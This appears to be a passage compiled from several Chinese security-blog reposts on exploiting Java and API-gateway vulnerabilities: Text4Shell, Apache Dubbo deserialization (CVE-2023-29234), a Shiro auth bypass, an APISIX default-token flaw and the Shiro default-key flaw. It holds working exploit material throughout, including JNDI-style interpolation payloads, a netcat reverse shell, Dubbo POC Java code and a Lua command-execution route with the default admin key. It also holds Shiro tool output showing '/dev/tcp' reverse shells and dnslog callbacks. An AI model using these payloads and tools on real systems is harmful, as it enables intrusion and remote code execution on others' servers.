https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7

网址

1
2
3
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7

Dns

1
2
3
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7

批量

有效载荷.txt

1
2
3
4
5
6
7
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ

如何利用 CVE-2022-42889

为了重现攻击，易受攻击的组件部署在 Docker 容器中，可从 EC2 实例访问，该实例将由攻击者控制。使用 netcat (nc) 命令，我们可以打开与易受攻击的应用程序的反向 shell 连接。

易受攻击的 Web 应用程序公开了一个搜索 API，其中查询通过Commons Text 的StringSubstitutor进行插值：

1
http://web.app/text4shell/attack?search=<query>

以下有效载荷可用于利用该漏洞并打开反弹 shell：

1
${script:javascript:java.lang.Runtime.getRuntime().exec('nc 192.168.49.1 9090 -e /bin/sh')}

此有效负载由“${prefix:name}”组成，它触发字符串查找。如上所述，“script”、“dns”和“url”是可以作为前缀来利用漏洞的键。

在发送精心制作的请求之前，我们需要使用 netcat (nc) 命令设置反向 shell 连接以侦听端口 9090

1
nc -nlvp 9090

我们现在可以发送精心制作的请求，URL 对有效负载进行编码，如下所示。

image

我们可以看到攻击者成功打开了与易受攻击的应用程序的连接。

image

现在攻击者可以以 root 身份与易受攻击的机器交互并执行任意代码。

CVE-2022-42889 的影响

根据CVSSv3 系统，它的CRITICAL 严重性得分为 9.8 。

由于易于利用以及在机密性、完整性和可用性方面的巨大潜在影响，严重性至关重要。正如我们在上一节中通过精心设计的请求展示的那样，您可以完全控制易受攻击的系统。

但是，这些漏洞不太可能与之前的 log4shell 和 spring4shell 产生相同的影响。

查看易受攻击的组件，利用的可能性与 Apache Commons Text 库的使用有关。具体来说，只有当它使用一些用户控制的输入实现 StringSubstitutor 对象时，才有可能利用它。这种在生产环境中的实现不像 Log4j 中易受攻击的字符串替换那样普遍。因此，Text4Shell 的大规模影响并不能真正与 Log4Shell 相提并论。

检测和缓解 CVE-2022-42889

如果您受到CVE-2022-42889的影响，您应该将应用程序Apache Commons Text 更新到版本1.10。

burpsuite插件之Text4Shell漏扫扫描器

项目地址:

GitHub:
https://github.com/silentsignal/burp-text4shell

image

插件下载地址:

burp-text4shell.jar

单问题扫描

关于检测功能的注意事项：此插件只会为内置的主动扫描器提供有效负载，因此为了获得最佳覆盖率与性能，您必须正确配置扫描 – 就像任何其他内置或扩展提供的扫描一样.

如果您只想扫描 CVE-2022-42889（而不是 XSS 或 SQLi 等其他东西），这个插件可以实现。

按照以下说明，如果使用作为结果创建的扫描配置，扫描仪将仅对所有插入点执行 Text4Shell 检查。

  1. 创建新扫描时，单击Select from library选项Scan configuration卡
  2. 选择Audit checks - extensions onlyBurp Suite Pro 2.x 中内置的
  3. 禁用所有其他已注册活动扫描检查的扩展程序（如果适用）（例如 ActiveScan++、反斜杠驱动扫描、Burp Bounty 等），以便仅运行 Text4Shell 扫描程序

建造

执行./gradlew build，您将准备好插件 build/libs/burp-text4shell.jar

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

本文转自RacerZ 并作补充

写在前面

最近学习并梳理了一下 Apache dubbo 的两个经典由于泛化调用处理存在问题的 CVE 漏洞，并分析了一下最新 CVE-2023-29234 ，总结出了两种利用方式。

CVE-2021-30179

前置：泛化调用

泛化调用（客户端泛化调用）是指在调用方没有服务方提供的 API（SDK）的情况下，对服务方进行调用，并且可以正常拿到调用结果。详细见 https://cn.dubbo.apache.org/zh-cn/overview/tasks/develop/generic/

调试分析

org.apache.dubbo.remoting.transport.DecodeHandler#received 作为客户端 RPC 调用请求信息处理的入口点，调用 decode 方法。

image

根据参数类型可知实际会调用到 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode()
其中会先调用 CodecSupport.getSerialization 方法，根据 id 选择相应的反序列化策略，默认会走 org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize ，最终返回一个 Hessian2ObjectInput 实例。接着这一部分会按照顺序依次解析序列化流，获取 dubbo 服务版本、服务类路径、子版本、服务方法名以及参数描述符。

image

之后会根据方法名和参数名在服务端查找是否存在对应的服务方法，如果为 null，则调用 RpcUtils.isGenericCall 判断是否为泛型引用。

image

image

如果是的话则调用 ReflectUtils.desc2classArray 方法显式加载 desc 当中的类。之后根据类型执行 readObject 反序列化参数值，并设置到 RpcInvocation 实例的各个字段当中。

image

这个地方之前也是存在反序列化攻击利用的（感兴趣的师傅可以翻一翻以前的 CVE 分析）。不过根据

https://threedr3am.github.io/2021/06/01/CVE-2021-30179 - Dubbo Pre-auth RCE via Java deserialization in the Generic filter/
提到：“受限于默认hessian或者已配置的序列化类型，具有一定的局限性”。

整体梳理一下这部分序列化/反序列化参数顺序：

  • string * 5 (dubboVersion / path / version / methodName / desc)
  • object * args (参数值实例，具体数量根据方法描述符 desc 决定)
  • map (这里面可用于设置 generic key)
    之后会去执行 org.apache.dubbo.remoting.exchange.support.header.HeaderExchangeHandler#received ，这里关注到 message 参数类型当前为 Request 类，因此会走第一个分支（后续会关注到 Response 分支部分）。

image

观察到刚才解析得到的各个参数值位于 message 的 mData 字段。

image

第一个分支当中会再次取出 mData 的字段值转化为 RpcInvocation 类实例，并调用 org.apache.dubbo.remoting.exchange.support.ExchangeHandlerAdapter#received 方法，进一步调用 reply 。

image

之后就会触发一系列 Filter 的 invoke 方法，调用栈如下：

image

关键 filter 函数是 org.apache.dubbo.rpc.filter.GenericFilter#invoke ，再次判断是否为泛型引用之后，会根据 inv 中提供的方法名从 dubbo 服务中找到对应方法，并取出参数类型和具体的参数值。

image

中间会从 inv 的 attachments 中取出 key 为 generic 的值，这个 generic 代表不同的反序列化策略，除 raw.return 外还有 nativejava、bean、protobuf-json 等。

raw.return 反序列化方式分析

这里如果值为 raw.return ，则会调用 PojoUtils.realize 方法，接着会对每个 args 值调用 realize0 方法，如果这个 arg 属于 Map 类型，则取出 class 键值，并使用 ClassUtils.forName 方法，其中会对传入的 className 使用应用类加载器进行类加载。

image

之后对于加载的 class 调用 newInstance 进行实例化。这里首先会去调用 class 默认的 public 构造函数，如果无法访问则会去遍历所有的构造器，优先获取参数个数为 0 的构造函数并反射调用。

image

之后便是漏洞的一大利用点，它针对 HashMap 当中剩下的键值，先尝试获取 key 在实例化 class 当中对应 field 的 setter 方法（要求为单参数），如果可以获取到的话。会用和刚才相同的逻辑递归实例化参数值，并反射调用；如果获取不到 setter 方法，则直接反射设置 field 的值。

image

因此针对 raw.return 反序列化方式的利用是通过 Map 的方式来传入利用 class，可利用 class 的位置有 3 个：

1
2
3
1. public/private 修饰的无参构造函数
2. 参数为 1 的 setter 方法
3. 支持对实例化的 class 任意字段赋值

bean 反序列化方式分析

这里会先遍历判断每个参数值是否为 JavaBeanDescriptor 类型，如果是则调用 JavaBeanSerializeUtil.deserialize 方法。

image

后面会调用到 instantiateForDeserialize 实例化方法，其中调用name2Class 方法中的 Class.forName 进行类加载，然后 instatiate 实例化。

image

image

之后 deserializeInternal ，与 raw.return 的利用思路类似，如果 beanDescriptor 实例的 type 等于 TYPE_BEAN 的话则会依次执行指定 key 字段的 setter 方法或者反射为字段赋值。

image

PS：其中 type 可以通过构造 beanDescriptor 实例时设置。

image

native 反序列化方式

这个利用比较特殊，需要配置中开启 dubbo.security.serialize.generic.native-java-enable 选项才能使用。
这里如果参数值为 byte[] 数组的话，则会传入 UnsafeByteArrayInputStream 构造函数当中，后加载并调用 NativeJavaObjectInput 的 deserialize 方法。

image

该类的 inputStream 字段封装了 ObjectInputStream 输入流，最终反序列化时也会调用的是后者，因此可触发二次反序列化。

image

CVE-2023-23638 （学习 bypass 思路）

受影响版本：Apache Dubbo 3.0.x <= 3.0.13；3.1.x <= 3.1.5
前版本 diff 分析
org.apache.dubbo.rpc.filter.GenericFilter#invoke 方法当中，会对每个 args 值调用 realize0 方法，如果这个 arg 属于 Map 类型，则取出 class 键值，调用 SerializeClassChecker.getInstance().validateClass ，里面会作黑名单检查。

image

image

bypass 思路

native 反序列化方式

这个反序列化方式可以让我们触发一个二次反序列化，从而绕过上述安全检查。但是困难点在于 dubbo.security.serialize.generic.native-java-enable 选项默认未开启，因此利用思路就是寻找如何将它打开。
于是这个 org.apache.dubbo.common.utils.ConfigUtils#setProperties 方法就十分有用，利用它可将CommonConstants.ENABLE_NATIVE_JAVA_GENERIC_SERIALIZE 属性设置为 true 即可。当然从 dubbo 的源码中可知 System.setProperties 也是可以直接设置 dubbo 服务属性的。
因此绕过部分的 map 就可以写成：

image

raw.return 反序列化方式

将 SerializeClassChecker 类的 CLASS_DESERIALIZE_BLOCKED_SET 置空或者 OPEN_CHECK_CLASS 设置为 false，这个类实例的获取方式为单例模式，因此需要控制 INSTANCE 字段为上面指定的实例。

image

绕过部分的 map 可以写成：

image

修复方案

新增 SerializeClassChecker 类检查器，其中指定了 dubbo.application.check-serializable 默认为 true。

image

其中的 validateClass 方法会检查指定反序列化类是否可序列化。这个方法会在 realize0 中调用。

image

之前需要用来设置属性的利用类 org.apache.dubbo.common.utils.ConfigUtils 以及 java.lang.System 均未实现序列化接口，因此不再可利用；同样，org.apache.dubbo.common.utils.SerializeClassChecker 也未实现序列化接口，无法覆盖其相关检查字段。

CVE-2023-29234 （1day）

受影响版本：

image

git diff: https://github.com/apache/dubbo/commit/9ae97ea053dad758a0346a9acda4fbc8ea01429a
org.apache.dubbo.common.serialize.ObjectInput#readThrowable 方法抛出异常的地方作了修改，而之前版本会直接打印 obj 对象，隐式触发 toString 方法，漏洞场景类似 CVE-2021-43297。

image

反向溯源调用位置，位于该函数的 switch-case 语句的 DubboCodec.RESPONSE_WITH_EXCEPTION 分支处调用 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcResult#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)

image

调用链如下：

1
2
3
4
5
6
7
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcResult#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
    --->
        handleException()
            --->
                ObjectInput.readThrowable()
                    --->
                        obj.toString()

Dubbo 编解码那些事_decodeablerpcresult-CSDN博客 可知 DecodeableRpcResult 这个类是在 dubbo 服务的消费者接收提供者方发来的响应时解码使用。

利用方式一：fake server

测试版本：Apache Dubbo 3.1.10
我们知道 dubbo 支持多种序列化方式，对于 dubbo 协议来说默认为 hessian2，其他如下所示（hessian2 对应 id 为 2，也可以通过 Serialization.getContentTypeId() 获得）

image

由官方文档可知，这个协议如何配置完全由服务方定的，因此完全可以做一个 fake server 来诱导客户端主动连接。

image

因此我们可以重写服务端编码响应信息函数的部分逻辑，主动构造一个用于上面提到的 toString 调用链对象来替代 Throwable 实例 th。
具体重写位置在 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#encodeResponseData(org.apache.dubbo.remoting.Channel, org.apache.dubbo.common.serialize.ObjectOutput, java.lang.Object, java.lang.String)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Override
    protected void encodeResponseData(Channel channel, ObjectOutput out, Object data, String version) throws IOException {
        Result result = (Result) data;
        // currently, the version value in Response records the version of Request
        boolean attach = Version.isSupportResponseAttachment(version);
//         Throwable th = result.getException();   
         Object th = null;  // 利用点： 用于 toString 的 gadget chain
         try {
                th = getThrowablePayload("open -a calculator");
            } catch (Exception e) {

            }

        if (th == null) {
            Object ret = result.getValue();
            if (ret == null) {
                out.writeByte(attach ? RESPONSE_NULL_VALUE_WITH_ATTACHMENTS : RESPONSE_NULL_VALUE);
            } else {
                out.writeByte(attach ? RESPONSE_VALUE_WITH_ATTACHMENTS : RESPONSE_VALUE);   
                out.writeObject(ret);   
            }
        } else {
            out.writeByte(attach ? RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS : RESPONSE_WITH_EXCEPTION);
//            out.writeThrowable(th); 
            out.writeObject(th);    // 直接序列化对象即可
        }

        if (attach) {
            // returns current version of Response to consumer side.
            result.getObjectAttachments().put(DUBBO_VERSION_KEY, Version.getProtocolVersion());
            out.writeAttachments(result.getObjectAttachments());
        }
    }

这里的 toString 调用链以 Rome toString 的利用部分为例，师傅们也可以选择/挖掘其他可利用的 gadget；同时，为了方便这里直接指定服务端的协议配置中的序列化方式为 nativejava，它反序列化时直接会使用 ObjectInputStream#readObject 。大家也可以探索一下其他序列化方式当中的黑名单绕过情况。

1
<dubbo:protocol name="dubbo" port="20880" serialization="nativejava"/>

客户端发起正常服务请求后，解码响应信息时顺利触发至 org.apache.dubbo.common.serialize.ObjectInput#readThrowable 位置，状态如下：

image

利用方式二：客户端打服务端

测试版本：3.1.5
由于 dubbo 并没有限制客户端不能发送 Response 数据，因此客户端同样可以构造一个 Response 信息发给服务端。
但是在服务端解码响应信息时，即函数调用位置为 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody，不同版本之间存在差异性，这里测试了一下 3.1.10 以及 3.1.5 之间的区别。
首先是 3.1.5 版本，注意到在创建 DecodeableRpcResult 实例时，其中一个构造参数 invocation 来自于 getRequestData(id)

image

跟入可知这个 invocation 来自于 dubbo 服务当中还没处理完毕的请求，会根据 id 值来获取，而由于我们这里只发送了一个 Response 信息，DefaultFuture 当中的 FUTURES map 为空，这里也就会返回 null。

image

但是依然可以将 DecodeableRpcResult 实例构造出来，并设置到 res 变量的 mResult 字段当中。

image

后续在触发到 toString 入口的过程中，不会因为 mResult 字段为 null 或者非 Decodeable 类而中断（DecodeableRpcResult 是 Decodeable 的实现）。

image

而对于 3.1.10 版本，getRequestData 方法如果获取不到 future 会直接抛出异常，进而无法创建出有效的 DecodeableRpcResult 实例。

image

进而，后续 message 参数会由于是 null 而直接返回。

image

这里给出 3.1.5 版本下的测试 POC 核心部分：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static void main(String[] args) throws Exception {

        ByteArrayOutputStream boos = new ByteArrayOutputStream();
        ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();
        Serialization serialization = new NativeJavaSerialization();
        NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);

        // header.
        byte[] header = new byte[HEADER_LENGTH];
        // set magic number.
        Bytes.short2bytes(MAGIC, header);
        // set request and serialization flag.
        header[2] = serialization.getContentTypeId();

        header[3] = Response.OK;
        Bytes.long2bytes(1, header, 4);

        // result
        Object exp = getThrowablePayload("open -a calculator"); // Rome toString 利用链
        out.writeByte(RESPONSE_WITH_EXCEPTION);
        out.writeObject(exp);

        out.flushBuffer();

        Bytes.int2bytes(nativeJavaBoos.size(), header, 12);
        boos.write(header);
        boos.write(nativeJavaBoos.toByteArray());

        byte[] responseData = boos.toByteArray();

        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(responseData);
        outputStream.flush();
        outputStream.close();
    }

    protected static Object getThrowablePayload(String command) throws Exception {
        Object o = Gadgets.createTemplatesImpl(command);
        ObjectBean delegate = new ObjectBean(Templates.class, o);

        return delegate;
    }

image

完整 POC 项目基于 DubboPOC 作的修改和添加，可见 CVE-2023-29234
PS：git diff 当中还存在其他位置的 patch，值得进一步探索其他的利用方式（篇幅有限）。

引用

[1] Apache dubbo 反序列化漏洞（CVE-2023-23638）分析及利用探索 - 先知社区 (aliyun.com)
[2] CVE-2023-29234: Bypass serialize checks in Apache Dubbo-Apache Mail Archives
[3] 开发服务 | Apache Dubbo
[4] Apache Dubbo CVE-2023-23638 JavaNative 反序列化漏洞分析 - 先知社区 (aliyun.com)
[5] 【漏洞分析】Dubbo Pre-auth RCE（CVE-2021-30179） (qq.com)
[6] RPC 通信协议 | Apache Dubbo
[7] DubboPOC/src/main/java/top/lz2y/vul/CVE202323638.java at main · lz2y/DubboPOC (github.com)
[8] Apache Dubbo 反序列化漏洞（CVE-2023-29234） · Issue #334 · y1ong/blog-timeline (github.com)

Apache Shiro 认证绕过漏洞 CVE-2020-1957 漏洞复现

Apache Shiro 认证绕过漏洞 CVE-2020-1957 漏洞复现

本文转自Senimo_ 并作补充

漏洞描述

Apache Shiro 是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。
CVE-2020-1957，Spring Boot中使用 Apache Shiro 进行身份验证、权限控制时，可以精心构造恶意的URL，利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化，可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制，越权并实现未授权访问。

漏洞影响

环境搭建

执行如下命令启动一个搭载Spring 2.2.2与Shiro 1.5.1的应用：

1
2
cd vulhub/shiro/CVE-2020-1957
docker-compose up -d

环境启动后，访问http://x.x.x.x:8080即可查看首页:

image

这个应用中对URL权限的配置如下：

1
2
3
4
5
6
7
8
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
    DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
    chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
    chainDefinition.addPathDefinition("/logout", "logout");
    chainDefinition.addPathDefinition("/admin/**", "authc");
    return chainDefinition;
}

漏洞复现

使用BurpSuite抓取数据包，访问/admin/目录：

image

回显302并跳转到登录页面：

image

构造恶意请求/xxx/..;/admin/，即可绕过权限校验，访问到管理页面：

image

URL请求过程：

  • 客户端请求URL: /xxx/..;/admin/
  • Shrio 内部处理得到校验URL为 /xxxx/..,校验通过
  • SpringBoot 处理 /xxx/..;/admin/ , 最终请求 /admin/, 成功访问了后台请求。

漏洞POC

构造恶意请求/xxx/..;/admin/，即可绕过权限校验，访问到管理页面。

参考链接

https://www.safedog.cn/news.html?id=4441
https://blog.spoock.com/2020/05/09/cve-2020-1957/

Apache APISIX 默认密钥漏洞（CVE-2020-13945）

Apache APISIX 默认密钥漏洞（CVE-2020-13945）

本文转自horisMMM 并作补充

APISIX简介

官方一句话介绍：Apache APISIX是一个高性能API网关。

API网关又是什么？

百度：API网关，软件术语，两个相互独立的局域网之间通过路由器进行通信，中间的路由被称之为网关。

任何一个应用系统如果需要被其他系统调用，就需要暴露 API，这些 API 代表着一个一个的功能点。

如果两个系统中间通信，在系统之间加上一个中介者协助 API 的调用，这个中介者就是 API 网关。

那意思就是Apisix是两个系统的一个中介，可以使用这个中间管理系统API。

存在漏洞

在用户未指定管理员Token或使用了默认配置文件的情况下，Apache APISIX将使用默认的管理员Token edd1c9f034335f136f87ad84b625c8f1，攻击者利用这个Token可以访问到管理员接口，进而通过script参数来插入任意LUA脚本并执行。

意思就是有一个默认的Token，可以直接得到管理员权限，并插入攻击脚本。

漏洞复现

docker-compose up -d 搭建环境

docker ps 查看端口为9080

image

访问 127.0.0.1/asixpix/admin/routes,显示token不正确

image

抓这个包，把方法改为POST，加上X-API-KEY: edd1c9f034335f136f87ad84b625c8f1，加上payload

1
2
3
4
5
6
7
8
9
10
{
    "uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

image

然后，我们访问刚才添加的router，就可以通过cmd参数执行任意命令：

1
http://127.0.0.1:9080/attack?cmd=id

image

payload分析

查看官方文档，观察创建路由的方法

https://apisix.apache.org/zh/docs/apisix/getting-started/

image

与payload对比，发现payload格式与官方创建路由一致，只是利用script插入了一段lua恶意脚本。

在 Apache APISIX 中，我们在 Route 实体中新增了 script 执行逻辑，可用于接收 Dashboard 生成的 Lua 函数并执行，它支持调用已有插件以复用代码。另外，它也作用于 HTTP 请求的生命周期中的各个阶段，如 access、header_filer、body_filter 等，系统会在相应阶段自动执行 script 函数对应阶段代码
image

接下来对lua脚本进行分析,\n是换行

1
2
3
4
5
6
7
8
9
local _M = {} \n function _M.access(conf, ctx)//在access阶段进行处理，检查如果达到的不健康次数超过了配置的最大次数，则就被break掉。这里没找到看得懂的资料。
local os = require('os')//加载os模块，用于进行文件操作
local args = assert(ngx.req.get_uri_args()) //assert()是断言，类似于try(),这里是获取uri中给的参数。
local f = assert(io.popen(args.cmd, 'r'))//io.popen()用于执行系统命令,'r'是模式
local s = assert(f:read('*a'))//读取全部内容
ngx.say(s)//输出，还有一种方法是ngx.print(),但两者有区别
f:close()
end 
return _M

function _M.access(conf, ctx)

image

assert()

image

read(‘a’)

https://blog.csdn.net/u013625451/article/details/78879739

image

Apache Shiro 默认密钥致命令执行漏洞（CVE-2016-4437）

Apache Shiro 默认密钥致命令执行漏洞（CVE-2016-4437）

本文转自xixiyuguang 并作补充

一.情况描述

1.漏洞描述

Apache Shiro是一个强大易用的Java安全框架，提供了认证、授权、加密和会话管理等功能。

2.漏洞造成的影响

在配置了默认密钥的情况下，攻击者可以通过精心构造的 Payload 实现远程命令执行，从而进一步获取服务器权限。

3.安全建议

升级shiro至最新版本1.7.0并生成新的密钥替换，注意妥善保管密钥，防止泄漏。利用官方提供的方法生成密钥：org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

4.技术参考

漏洞验证工具：https://github.com/wyzxxz/shiro_rce

二.漏洞检测工具

1.下载地址

https://xz.aliyun.com/forum/upload/affix/shiro_tool.zip

2、操作命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
2020-10-16：
放出来一些功能：
1、spring/tomcat回显，执行命令的时候，x=whoami 就行
2、批量检测是否shiro, java -cp shiro_tool.jar shiro.Check http://url 或者 java -cp shiro_tool.jar shiro.Check urls=文件
3、目标服务器不出网的情况下探测
 
其他：
后面看情况再放出一些更通用的和内存shell
 
 
2020-08-21: 
新增了cc8 cc9 cc10利用链
新增了输出payload模式，在执行命令的时候输入output=on即可。
参考下面的示例
 
 
2020-05-26:
原来的停止服务了，请下载最新版本。
 
 
java -jar shiro_tool.jar https://xx.xx.xx.xx
nocheck --> skip check target is shiro or not.
key= --> set a shiro key.
req= --> request body file 抓包保存到文件里，这里写文件名
keys= --> keys file  自定义key的文件，key按行分割，即每行写一个
 
[admin@ shiro]java -jar shiro_tool.jar https://xx.xx.xx.xx/          
[-] target: https://xx.xx.xx.xx/
[-] target is use shiro
[-] start guess shiro key.
[-] shiro key: kPH+bIxk5D2deZiIxcaaaA==
[-] check URLDNS
[*] find: URLDNS can be use
[-] check CommonsBeanutils1
[*] find: CommonsBeanutils1 can be use
[-] check CommonsCollections1
[-] check CommonsCollections2
[-] check CommonsCollections3
[-] check CommonsCollections4
[-] check CommonsCollections5
[-] check CommonsCollections6
[-] check CommonsCollections7
[-] check CommonsCollections8
[-] check CommonsCollections9
[-] check CommonsCollections10
[-] check Groovy1
[*] find: Groovy1 can be use
[-] check JSON1
[*] find: JSON1 can be use
[-] check Spring1
[*] find: Spring1 can be use
[-] check Spring2
[-] check JRMPClient
[*] find: JRMPClient can be use
[*] JRMPClient please use: java -cp shiro_tool.jar ysoserial.exploit.JRMPListener 
0: URLDNS
1: CommonsBeanutils1
2: Groovy1
3: JSON1
4: Spring1
5: JRMPClient
[-] please enter the number(0-6)
3
[-] use gadget: JSON1
[*] command example: bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
[*] command example: curl dnslog.xx.com
[*] if need base64 command, input should startwith bash=/powershell=/python=/perl= 
[-] please enter command, input q or quit to quit
> curl json.dnslog.xx.cn
[-] start process command: curl json.dnslog.xx.cn
[-] please enter command, input q or quit to quit
> bash=bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
[-] start process command: bash -c {echo,YmFzaD1iYXNoIC1pID4mIC9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzgwIDA+JjE=}|{base64,-d}|{bash,-i}
[-] please enter command, input q or quit to quit
> output=on
[-] print payload mode on.
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> whoami
kPH+bIxk5D2deZiIxcaaaA== - CommonsBeanutils1 - zEC2T+ZP+ib2g+NLMrrU0LRsNu3lr7kjq
82987eI8FZxA8ckaX8LsMNHdParxVS9aYg0Oxl91WD5GztG6Dmg/QO/sjxi+kX/sFpHgqwtG4MCQoogH
Jkhnj73PI6Wn8AJWQyXoOGNMkyboGcEm0Ti1h+WMGQEqw57tRl7Pjr0pMr2oZcUj9huwC/Lfr090FX7v
rPrU5JnQm2Qo7ZrMPnxENXs0yMT6HfU75OejeF6kXbWTaGlvfByscF1ljoDR/k2txdQ1eK4nZ4ReOAqM
uUeeaXwirEw2kg58GktvB2Ghw4egXJBQUdP3H8iE+zrkf12YlPs/RAOq8w0mWfvwB7EnCW3Z83YP8vV1
+reLT9oNyUpCfjKyQVodnpZJY7If4F9al8He7E832RR3mhFvsjJDyNFTbB4TPrRqFDehSVuHib5qkh0s
0YjvCGErxDLH9pFS4G9rNYQeAnXBKeNzS5q2O0xCe5xg4X6l8R6XsU2/V1d6wd27U7u18+DJlo/v58vj
SyUtUaEAAuMN9C30Rr+r7Tk9MVC55eS8l82fURpUwttcRADhJ0esKHAFFAkwnisbAb4Uugz3IADojYlH
BNFtWFuV2dsuqkionEROKLIdVHJGR8URmk79v8lbLbpCWI3cTCf81SwwBoYylKXCyHX2X08VlEUvuHWk
ypx9gVvDuQQQFTGP4ljwpU1NlQPqxaLXmnZ5TyJN2sycL9s8VWMYls4uFATtMkpXXcwaQGFVjCzFrABv
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> x=whoami
root
 
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> quit
[-] start process command: quit
[-] quit

3、实际操作

java -jar shiro_tool.jar https://xx.xx.xx.xx/
image

三.shiro源码分析

1.当shiro版本是1.2.4

查看源码，源码中org.apache.shiro.mgt.AbstractRememberMeManager :其默认的秘钥为kPH+bIxk5D2deZiIxcaaaA==，这相当于shiro中如果没有配置秘钥，就会用这个，而这个秘钥又是众所周知的，所以系统很容易被绕过登录，直接进入后台
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

package org.apache.shiro.mgt;
 
public abstract class AbstractRememberMeManager implements RememberMeManager {
 
    /**
     * private inner log instance.
     */
    private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);
 
    /**
     * The following Base64 string was generated by auto-generating an AES Key:
     * <pre>
     * AesCipherService aes = new AesCipherService();
     * byte[] key = aes.generateNewKey().getEncoded();
     * String base64 = Base64.encodeToString(key);
     * </pre>
     * The value of 'base64' was copied-n-pasted here:
     */
    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
 
    /**
     * Serializer to use for converting PrincipalCollection instances to/from byte arrays
     */
    private Serializer<PrincipalCollection> serializer;
 
    /**
     * Cipher to use for encrypting/decrypting serialized byte arrays for added security
     */
    private CipherService cipherService;
 
    /**
     * Cipher encryption key to use with the Cipher when encrypting data
     */
    private byte[] encryptionCipherKey;
 
    /**
     * Cipher decryption key to use with the Cipher when decrypting data
     */
    private byte[] decryptionCipherKey;
 
    /**
     * Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
     * an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
     */
    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

2.当shiro版本是 >=1.2.5时

动态生成秘钥，注意这块代码

1
2
3
AesCipherService cipherService = new AesCipherService();
      this.cipherService = cipherService;
      setCipherKey(cipherService.generateNewKey().getEncoded());
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

package org.apache.shiro.mgt;
 
 
public abstract class AbstractRememberMeManager implements RememberMeManager {
 
 /**
     * Cipher encryption key to use with the Cipher when encrypting data
     */
    private byte[] encryptionCipherKey;
 
    /**
     * Cipher decryption key to use with the Cipher when decrypting data
     */
